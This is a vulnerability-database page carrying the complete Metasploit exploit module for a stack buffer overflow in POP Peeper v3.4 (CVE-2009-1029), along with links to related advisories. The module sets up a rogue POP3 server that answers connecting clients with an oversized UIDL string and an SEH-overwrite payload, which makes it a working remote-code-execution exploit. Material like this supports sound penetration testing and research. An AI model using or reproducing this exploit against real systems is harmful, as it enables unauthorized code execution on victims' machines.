Lucene search
K

POP Peeper v3.4 UIDL Buffer Overflow

🗓️ 15 Oct 2009 18:04:58Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

POP Peeper v3.4 UIDL Buffer Overflow exploit through specially crafted strin

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-1029
12 Mar 200900:00
circl
CVE
CVE-2009-1029
20 Mar 200900:00
cve
Cvelist
CVE-2009-1029
20 Mar 200900:00
cvelist
Exploit DB
POP Peeper 3.4 - DATE Buffer Overflow (Metasploit)
11 Nov 201000:00
exploitdb
Exploit DB
POP Peeper 3.4 - UIDL Buffer Overflow (Metasploit)
30 Nov 201000:00
exploitdb
Metasploit
POP Peeper v3.4 DATE Buffer Overflow
15 Oct 200918:04
metasploit
NVD
CVE-2009-1029
20 Mar 200900:30
nvd
Packet Storm
POP Peeper v3.4 DATE Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Stack overflow
20 Mar 200900:30
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'POP Peeper v3.4 UIDL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in POP Peeper v3.4.
        When a specially crafted UIDL string is sent to a client,
        an attacker may be able to execute arbitrary code. This
        module is based off of krakowlabs code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '53559' ],
          [ 'CVE', '2009-1029' ],
          [ 'BID', '33926' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment'  => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'DisableNops' => 'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'POP Peeper v3.4',	{ 'Ret' => 0x10014e39 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-02-27',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
      ])
  end

  def on_client_connect(client)
    ok = "+OK\r\n"
    client.put(ok)
  end

  def on_client_data(client)
    return if ((p = regenerate_payload(client)) == nil)

    ok = "+OK\r\n"
    client.put(ok)

    client.get_once

    ok = "+OK\r\n"
    client.put(ok)

    client.get_once

    ok = "+OK 1 100\r\n"
    client.put(ok)

    client.get_once

    sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"

    client.put(sploit)

    handler
    service.close_client(client)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation